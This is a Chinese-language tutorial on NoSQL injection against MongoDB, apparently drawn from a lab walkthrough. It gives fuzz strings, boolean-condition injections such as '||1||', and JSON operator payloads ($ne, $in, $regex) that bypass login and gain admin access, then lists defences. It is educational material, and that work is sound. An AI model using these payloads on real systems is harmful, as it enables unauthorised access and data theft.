NoSQL 注入漏洞详解
基本介绍
NoSQL Injection 是一种针对 NoSQL 数据库的安全漏洞,类似于传统的 SQL 注入攻击。NoSQL 数据库是一类非关系型数据库,例如 MongoDB、Cassandra、Redis 等,它们使用不同的数据存储和查询机制。NoSQL Injection 漏洞的本质是未正确验证和过滤用户输入,导致攻击者能够执行未经授权的操作,从而破坏数据库的完整性、泄露敏感数据或执行其他恶意行为。
漏洞类型
NoSQL 注入主要分为以下两种类型:
1. 语法注入
当攻击者能够破坏 NoSQL 查询语法并注入攻击载荷时,就会发生语法注入。该方法与 SQL 注入中使用的方法类似,但由于 NoSQL 数据库使用一系列查询语言、查询语法类型和不同的数据结构,因此攻击的性质差异很大。
2. 运算符注入
当攻击者能够使用 NoSQL 查询运算符来操纵查询时,就会发生运算符注入。
语法注入详解
注入检测
考虑一个在 MongoDB 中显示不同类别产品的购物应用程序。当用户选择 "Fizzy drinks" 类别时,浏览器会请求以下 URL:
https://insecure-website.com/product/lookup?category=fizzy
此时应用程序会发送 JSON 查询并从 MongoDB 数据库中的产品集合中检索相关产品:
this.category == 'fizzy'
要测试输入是否易受 NoSQL 注入攻击,可以在类别参数的值中提交一个模糊字符串。MongoDB 的一个示例模糊字符串是:
'"`{;$Foo}$Foo \xYZ
使用此模糊字符串构建攻击向量:
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
如果这导致原始响应发生变化,则可能表示用户输入没有正确过滤或净化。
过滤字符
确定应用程序将哪些字符解释为语法。可以注入单个字符,例如提交 ',这将导致以下 MongoDB 查询:
this.category == '''
如果这导致原始响应发生更改,则可能表示 ' 字符破坏了查询语法并导致语法错误。可以通过在输入中提交有效的查询字符串来确认这一点,例如通过转义引号:
this.category == '\''
如果这不会导致语法错误,则意味着应用程序容易受到注入攻击。
确定条件
检测到漏洞后,下一步是确定是否可以使用 NoSQL 语法影响布尔条件。发送两个请求进行测试:
-
假条件:
'&&0&&'xhttps://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x -
真条件:
'&&1&&'xhttps://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
如果应用程序的行为不同,则表明假条件会影响查询逻辑,但真条件不会,同时也表明注入这种语法风格会影响服务器端查询。
条件覆盖
确定可以影响布尔条件后,可以尝试覆盖现有条件以利用漏洞。例如,可以注入一个始终计算为 true 的 JavaScript 条件,如 "||1||":
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
这将导致以下 MongoDB 查询:
this.category == 'fizzy'||'1'=='1'
由于注入的条件始终为 true,修改后的查询将返回所有项,使攻击者能够查看任何类别中的所有产品,包括隐藏或未知类别。
简易示例
- 访问靶场并选择过滤器对类别进行过滤
- 对类别参数进行注入测试,提交以下语句会引发报错:
/filter?category=a' - 尝试对引号进行闭合操作:
Gifts'+' - 确定是否可以注入布尔条件来更改响应:
- 插入一个 false 条件:
Gifts' && 0 && 'x - 插入一个 true 条件:
Gifts' && 1 && 'x
- 插入一个 false 条件:
- 提交一个布尔条件,该条件在类别参数中的计算结果始终为 true:
Gifts'||1||'
运算符注入详解
基本介绍
NoSQL 数据库通常使用查询运算符来指定数据必须满足的条件。MongoDB 查询运算符的示例包括:
$where:匹配满足 JavaScript 表达式的内容$ne:匹配所有不等于指定值的值$in:匹配数组中指定的所有值$regex:选择值与指定正则表达式匹配的内容
攻击者可以注入查询运算符来操作 NoSQL 查询。
提交查询
在 JSON 消息中,可以将查询运算符作为嵌套对象插入:
- 初始情况:
{"username":"wiener"} - 嵌套之后:
{"username":{"$ne":"invalid"}}
对于基于 URL 的输入,可以通过 URL 参数插入查询运算符:
- 初始情况:
username=wiener - 嵌套之后:
username[$ne]=invalid
如果不起作用,可以尝试以下操作:
- 将请求方法从 GET 转换为 POST
- 将内容类型标题更改为
application/json - 将 JSON 添加到消息体
- JSON 注入查询运算符
注入检测
考虑一个易受攻击的应用程序,在 POST 请求的正文中接受用户名和密码:
{"username":"wiener","password":"peter"}
用一系列运算符测试每个输入。要测试用户名输入是否处理查询运算符,可以尝试以下注入:
{"username":{"$ne":"invalid"},"password":{"peter"}}
如果应用了 $ne 运算符,则会查询用户名不等于 "invalid" 的所有用户。如果用户名和密码输入都处理操作符,则可以使用以下有效载荷绕过身份验证:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
此查询返回用户名和密码不等于 "invalid" 的所有登录凭据,因此攻击者会作为集合中的第一个用户登录到应用程序。要以特定帐户为目标,可以构造一个包含已知用户名或猜测用户名的有效载荷:
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
演示示例
- 使用提供的凭据登录用户:
wiener:peter - 在 Burp Suite 中测试用户名和密码参数,确定它们是否允许注入 MongoDB 操作符:
- 将
username参数的值从"wiener"更改为{"$ne":""},然后发送请求 - 将
username参数的值从{"$ne":""}更改为{"$regex":"wien.*"},然后发送请求 - 将
password参数的值从"peter"更改为{"$ne":""},然后再次发送请求
- 将
- 在密码参数设置为
{"$ne":""}的情况下,将用户名参数的值更改为{"$regex":"admin.*"},然后再次发送请求,成功以管理员用户身份登录
防御措施
- 输入验证:对所有用户输入进行严格的验证和过滤
- 参数化查询:使用参数化查询或预编译语句
- 最小权限原则:数据库用户应具有最小必要的权限
- 错误处理:避免向用户显示详细的错误信息
- 安全配置:遵循数据库的安全最佳实践和配置指南
- 定期更新:保持数据库系统和应用程序框架的最新版本
总结
NoSQL 注入是一种严重的安全威胁,可以导致数据泄露、未授权访问和系统破坏。通过理解 NoSQL 注入的原理、检测方法和利用技术,开发人员和安全专业人员可以更好地保护应用程序免受此类攻击。实施适当的安全措施和遵循安全开发实践是预防 NoSQL 注入的关键。